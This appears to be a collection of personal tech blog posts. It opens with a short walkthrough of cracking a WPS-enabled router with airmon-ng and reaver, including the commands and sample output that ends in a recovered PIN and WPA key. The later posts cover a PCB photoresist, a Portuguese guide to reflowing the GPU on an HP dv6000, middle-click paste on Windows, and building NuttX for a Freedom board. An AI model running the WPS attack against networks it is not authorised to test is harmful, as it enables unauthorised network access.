Cracking WPS Wireless network

This is the way I tested the security of a Wireless network with WPS enabled.

Put your wireless card on Monitor mode:

$ sudo airmon-ng start wlan0

Run ‘reaver’ program to crack the WPS:

$ sudo reaver -i mon0 -b 00:11:22:33:44:55 -vv

Replace 00:11:22:33:44:55 with the BSSID of wireless router (with WPS enabled)

You should see these messages:

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 

[+] Waiting for beacon from 00:11:22:33:44:55
[+] Switching mon0 to channel 1
[+] Associated with 00:11:22:33:44:55 (ESSID: WPS-ROUTER)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00005678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 01235678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 11115670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK

Many hours later (more than 10h in my case) :

[+] Pin cracked in 38417 seconds
[+] WPS PIN: '77805034'
[+] WPA PSK: '6C0D5A37E7B0A30C'
[+] AP SSID: 'WPS-ROUTER'

Using the PCB photoresist APPELATION JH-1609

I bought this PCB photoresist from eBay:

http://www.ebay.com/itm/100g-Photoresist-Anti-etching-Blue-Paint-for-DIY-PCB-dry-film-replacement-/190741561459

Then I started searching about this product and found a nice site explaining how to replace the banana oil by lacquer thinner to dissolve the photoresist ink:

http://zapeleven.com/?p=91

Unfortunately this ebay package doesn’t came with the ‘developer’ powder, I’ll need to discover what this is chemical powder. Any help is welcome…

Como reparar placa do HP Pavilion dv6000

Conheço pelo menos mais cinco pessoas que assim como eu comprou um notebook HP Pavilion DV6000 e após alguns meses de uso ele simplesmente pára de ligar e fica reiniciando antes de aparecer a tela com o logo da HP na BIOS.

Não sei se alguém da HP um dia vai ler este post, mas se acaso ler, fique ciente que estas 5 pessoas e eu nunca mais compraremos um notebook da HP. Acredito que assim como nós outras milhares de pessoas que passaram por este mesmo problema também não comprarão.

Mas afinal, por que este problema acontece e por que a HP não conseguiu detestar isso antes de lançar o notebook no mercado. Vamos lá, um problema de cada vez.

O erro em questão ocorre porque o chip de vídeo (GPU) da Nvidia sobreaquece e alguns pinos chegam a derretar a solda, com isso o notebook fica instável e não liga. Este problema acontece com mais frequência em notebooks onde a poeira bloqueia as aletas de refrigeração do cooler, porém acredito que mesmo sem poeira este problema vai acontecer depois algum tempo.

O mais provável que é a HP não tenha percebido este problema porque não testou o notebook em campo por tempo suficiente, ou tenha testado apenas em países de clima frio, etc.

Este problema serve como um bom exemplo para outras empresas que estão lançando produtos no mercado. Se você não quiser ter dor de cabeça no futuro e perder seus clientes para sempre, teste exaustivamente seu produto, em várias condições de uso, principalmente em condições extremas. Apenas o “burn-in” (tipo de teste onde o equipamento é deixado ligado várias horas rodando rotinas de testes pesadas) não é suficiente.

A segunda regra básica: disponibilize protótipos para clientes (equivalente ao “projeto piloto” de sistemas), isto ajudará a pegar falhas que você não tinha previsto no seu produto.

Finalmente, se encontrar algum problema grave no produto, tome uma ação rápida para evitar que os clientes sejam prejudicados pela(s) falha(s) do seu produto.

Infelizmente nada disso aconteceu no caso do Notebook HP Pavilion DV6000.

Agora que o problema já esta contextualizado, vamos à solução, na verdade não é uma solução, mas apenas uma forma de reverter o problema e amenizar os efeitos causados.

Primeiro você terá que abrir seu notebook, use o manual de serviço da HP para abri-lo corretamente (se você não tem costume de abrir equipamentos eletrônicos, então peça para algum amigo que tenha conhecimento para fazer isso pra você).

Você deverá desparafusar o cooler para remove-lo da placa mãe, veja os parafusos na imagem abaixo:

Em seguida você deve preaquecer a placa antes de aquecer a GPU Nvidia (quadro selecionado em vermelho na imagem acima). Coloque a temperatura da sua estação de ar quente em 100 graus, aqueça a área próxima ao chip e também a área embaixo da placa. É importante fazer isso antes de aquecer o chip, pois a placa poderia “delaminar” (trincar, quebrar) e romper as trilhas. Preaqueça por uns 2 minutos.

Agora pegue uma folha de alumínio (destas de cozinha) e corte no centro dela um quadrado do tamanho do chip GPU e coloque o furo exatamente sobre o chip de forma que toda a área do chip fique visível/acessível. Isto evitará que o ar quente derreta o conector do cooler que está próximo do chip e que outros componentes próximo ao chip sejam desoldados.

Coloque 4 moedas de 5 centavos sobre o chip GPU, uma ao lado da outra, formando um quadrado. Como elas são revestidas de cobre, conduzirão o calor rapidamente e também o peso delas vai ajudar o chip a abaixar um pouco quando a solda, que fica embaixo do chip, derreter.

Altere a temperatura da estação de solda para 320C e para velocidade do ar média, não muito forte. E comece jogar o ar quente próximo ao centro do chip GPU em movimentos circulares a uma altura de 5 centimetros do chip, de forma que as quatro moedas fiquem bem aquecidas também. Faça isso durante uns 10 minutos, para garantir que a solda realmente vai derreter, pois demora tempo para que o calor consiga acequer a parte debaixo do chip.

Na parte do dissipador de calor que está ligada ao cooler e que fica exatamente sobre o chip GPU há uma pequena chapa de cobre e abaixo dela uma borracha condutiva, remova esta borracha e coloque uma chapa de cobre no lugar dela (eu cortei uma moeda de 5 centavos em formato retangular). Desta forma a chapa de cobre original estará em contato com a chapa que você criou e esta por sua fez estará em contato direto com o chip GPU da Nvidia. Cuidado para a sua chapa não ficar muito grande e dar curto-circuito com os componentes (resistores e capacitores) soldados na parte superior da GPU.

Finalmente corte o fio branco do conector do cooler, assim o cooler vai ficar funcionando na velocidade máxima o tempo todo.

Copy and Paste with middle mouse button on Windows

This tip is for these poor souls that still using Windows.

If you never used Linux maybe you don’t know there you just select the text with mouse and paste it using middle mouse button. Then a friend of mine asked if exist some way to do it on Windows, after a fast search I found it:

http://fy.chalmers.se/~appro/nt/TXMouse/

BTW if you want this native support I suggest you to taste Linux ;-)

Running NuttX on Kinetis KL25Z Freedom Board (FRDM-KL25Z)

This tutorial will explain how to run NuttX on Freescale Freedom Board:

First of all Download the GCC-ARM-EMBEDDED:
https://launchpad.net/gcc-arm-embedded/+download

I’m using version gcc-arm-none-eabi-4_7-2012q4-20121208-linux.tar.bz2 but you could use newer versions.

Decompress the toolchain file:

$ tar xvf gcc-arm-none-eabi-4_7-2012q4-20121208-linux.tar.bz2

Move toolchain to /usr/local directory:

$ sudo mv gcc-arm-none-eabi-4_7-2012q4 /usr/local/gcc-arm-embedded

Add this directory to your PATH:

$ export PATH=/usr/local/gcc-arm-embedded/bin:$PATH

Download NuttX from its repository:

$ git clone git://git.code.sf.net/p/nuttx/git nuttx

Now configure NuttX to compile for Freedom board:

$ cd nuttx/nuttx/
$ cd tools/
$ ./configure.sh freedom-kl25z/nsh
$ cd -

Now edit nuttx .config and replace CONFIG_ARMV6M_TOOLCHAIN_BUILDROOT by CONFIG_ARMV6M_TOOLCHAIN_GNU_EABI:

$ vi .config
...
#CONFIG_ARMV6M_TOOLCHAIN_BUILDROOT is not set
CONFIG_ARMV6M_TOOLCHAIN_GNU_EABI=y

Compile nuttx using make command:

$ make

Copy nuttx.srec to Freedom board, case you have installed MBED 2.0 firmware (recommended) then you need to copy nuttx.bin instead.

Now to have access to NSH terminal running on the board, just use minicom, picocom, or your preferred serial terminal client, configured to /dev/ttyACM0 and 115200.